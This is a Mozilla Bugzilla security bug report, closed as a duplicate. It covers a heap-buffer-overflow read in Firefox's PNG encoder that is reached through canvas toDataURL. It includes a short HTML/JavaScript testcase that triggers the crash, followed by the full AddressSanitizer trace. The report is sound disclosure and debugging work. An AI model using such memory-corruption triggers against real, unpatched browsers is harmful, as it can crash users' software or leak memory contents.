Closed
Bug 936293
Opened 13 years ago
Closed 13 years ago
ASAN heap-buffer-overflow in nsPNGEncoder::ConvertHostARGBRow
Categories
(Core :: Graphics: Canvas2D, defect)
Tracking
()
RESOLVED
DUPLICATE
of bug 934939
People
(Reporter: nils, Unassigned)
References
Details
(Keywords: crash, testcase)
The following testcase crash the latest firefox ASAN build:
<html>
<script>
function start() {
o395=document.createElement('canvas');
o396=o395.getContext('2d');
html=unescape('<svg xmlns="http://www.w3.org/2000/svg" width="400" height="400"><foreignObject height="100%">');
html+=unescape('</foreignObject></svg>');
o397=new Image();
o398=new Blob([html], {type: 'image/svg+xml;charset=utf-8'});
bloburl=URL.createObjectURL(o398);
o397.onload=function() {o396.drawImage(o397, 0, 0);o395.toDataURL();}
o397.src=bloburl;
o395.setAttribute('width','65535');
}
</script>
<body onload="start()"></body>
</html>
ASAN output:
=================================================================
==29659==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020001f41f4 at pc 0x7fc236f09001 bp 0x7fff5f79ab20 sp 0x7fff5f79ab18
READ of size 4 at 0x6020001f41f4 thread T0
#0 0x7fc236f09000 in ConvertHostARGBRow /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/png/nsPNGEncoder.cpp:599
#1 0x7fc236f07b88 in AddImageFrame /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/png/nsPNGEncoder.cpp:267
#2 0x7fc236f06c89 in InitFromData /builds/slave/m-cen-l64-asan-000000000000000/build/image/encoders/png/nsPNGEncoder.cpp:62
#3 0x7fc237b09624 in GetInputStream /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:242
#4 0x7fc237adb847 in GetInputStream /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1102
#5 0x7fc237b08cb1 in ExtractDataInternal /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:279
#6 0x7fc237b07e70 in ExtractData /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:194
#7 0x7fc237c8caaa in operator class nsIInputStream ** /builds/slave/m-cen-l64-asan-000000000000000/build/content/html/content/src/HTMLCanvasElement.cpp:393
#8 0x7fc23a277a68 in operator class nsString & /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/../../dist/include/mozilla/dom/HTMLCanvasElement.h:92
#9 0x7fc23a275d8a in genericMethod /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/./HTMLCanvasElementBinding.cpp:605
#10 0x7fc23ca191e7 in native /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jscntxtinlines.h:220
#11 0x7fc23ca0e12b in Interpret /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:2502
#12 0x7fc23c9f53b3 in RunScript /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:420
#13 0x7fc23ca19423 in Invoke /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:482
#14 0x7fc23ca1a198 in Invoke /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/vm/Interpreter.cpp:513
#15 0x7fc23c71ed17 in JS_CallFunctionValue /builds/slave/m-cen-l64-asan-000000000000000/build/js/src/jsapi.cpp:4920
#16 0x7fc23a16817f in Call /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/bindings/./EventHandlerBinding.cpp:36
#17 0x7fc238430663 in Call<nsISupports *> /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/dom/src/events/../../../dist/include/mozilla/dom/EventHandlerBinding.h:58
#18 0x7fc237c113c2 in HandleEventSubType /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventListenerManager.cpp:960
#19 0x7fc237c122b6 in HandleEventInternal /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventListenerManager.cpp:1038
#20 0x7fc237c030a3 in CurrentTarget /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventListenerManager.h:325
#21 0x7fc237c01f7e in HandleEventTargetChain /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventDispatcher.cpp:292
#22 0x7fc237c06014 in Dispatch /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventDispatcher.cpp:605
#23 0x7fc237c076b6 in DispatchDOMEvent /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsEventDispatcher.cpp:675
#24 0x7fc2379b7e10 in DispatchEvent /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsINode.cpp:1137
#25 0x7fc237860fa0 in DispatchEvent /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsContentUtils.cpp:3395
#26 0x7fc237860df6 in DispatchTrustedEvent /builds/slave/m-cen-l64-asan-000000000000000/build/content/base/src/nsContentUtils.cpp:3365
#27 0x7fc237b8a489 in Run /builds/slave/m-cen-l64-asan-000000000000000/build/content/events/src/nsAsyncDOMEvent.cpp:57
#28 0x7fc23ad65cf9 in ProcessNextEvent /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/threads/nsThread.cpp:622
#29 0x7fc23ac91e21 in NS_ProcessNextEvent /builds/slave/m-cen-l64-asan-000000000000000/build/xpcom/glue/nsThreadUtils.cpp:251
#30 0x7fc2397e96b1 in Run /builds/slave/m-cen-l64-asan-000000000000000/build/ipc/glue/MessagePump.cpp:85
#31 0x7fc23ae6dca3 in RunInternal /builds/slave/m-cen-l64-asan-000000000000000/build/ipc/chromium/src/base/message_loop.cc:220
#32 0x7fc2395c1e2c in Run /builds/slave/m-cen-l64-asan-000000000000000/build/widget/xpwidgets/nsBaseAppShell.cpp:161
#33 0x7fc238fc8dee in Run /builds/slave/m-cen-l64-asan-000000000000000/build/toolkit/components/startup/nsAppStartup.cpp:267
#34 0x7fc23651aff5 in XRE_mainRun /builds/slave/m-cen-l64-asan-000000000000000/build/toolkit/xre/nsAppRunner.cpp:3976
#35 0x7fc23651bf2a in XRE_main /builds/slave/m-cen-l64-asan-000000000000000/build/toolkit/xre/nsAppRunner.cpp:4044
#36 0x7fc23651ce5b in XRE_main /builds/slave/m-cen-l64-asan-000000000000000/build/toolkit/xre/nsAppRunner.cpp:4246
#37 0x459dcd in do_main /builds/slave/m-cen-l64-asan-000000000000000/build/browser/app/nsBrowserApp.cpp:275
#38 0x7fc245dc4ea4 in __libc_start_main /build/buildd/eglibc-2.17/csu/libc-start.c:260
#39 0x45934c in _start ??:?
0x6020001f41f4 is located 0 bytes to the right of 4-byte region [0x6020001f41f0,0x6020001f41f4)
allocated by thread T0 here:
#0 0x446395 in __interceptor_malloc _asan_rtl_
#1 0x7fc237adae1f in operator new[] /builds/slave/m-cen-l64-asan-000000000000000/build/obj-firefox/content/canvas/src/../../../dist/include/mozilla/mozalloc.h:219
#2 0x7fc237adaad1 in GetImageBuffer /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1078
#3 0x7fc237adb579 in GetInputStream /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/CanvasRenderingContext2D.cpp:1089
#4 0x7fc237b08cb1 in ExtractDataInternal /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:279
#5 0x7fc237b07e70 in ExtractData /builds/slave/m-cen-l64-asan-000000000000000/build/content/canvas/src/ImageEncoder.cpp:194
Shadow bytes around the buggy address:
0x0c04800367e0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c04800367f0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480036800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480036810: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c0480036820: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c0480036830: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[04]fa
0x0c0480036840: fa fa fd fa fa fa fd fd fa fa fd fd fa fa fd fd
0x0c0480036850: fa fa fd fd fa fa fd fd fa fa fd fd fa fa fd fa
0x0c0480036860: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa 00 00
0x0c0480036870: fa fa 00 fa fa fa 00 00 fa fa fd fd fa fa 00 fa
0x0c0480036880: fa fa 00 fa fa fa 01 fa fa fa fd fd fa fa 00 00
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
ASan internal: fe
==29659==ABORTING
Comment 1•13 years ago
|
||
Looks like a duplicate of https://bugzilla.mozilla.org/show_bug.cgi?id=934939
Updated•13 years ago
|
Keywords: csec-bounds
Comment 2•13 years ago
|
||
Nils can reopen if it turns out not to be a dupe. We think the problem is actually in canvas rather than PNG itself.
Status: NEW → RESOLVED
Closed: 13 years ago
Resolution: --- → DUPLICATE
Updated•11 years ago
|
Group: core-security → core-security-release
Updated•10 years ago
|
Group: core-security-release
You need to log in
before you can comment on or make changes to this bug.
Description
•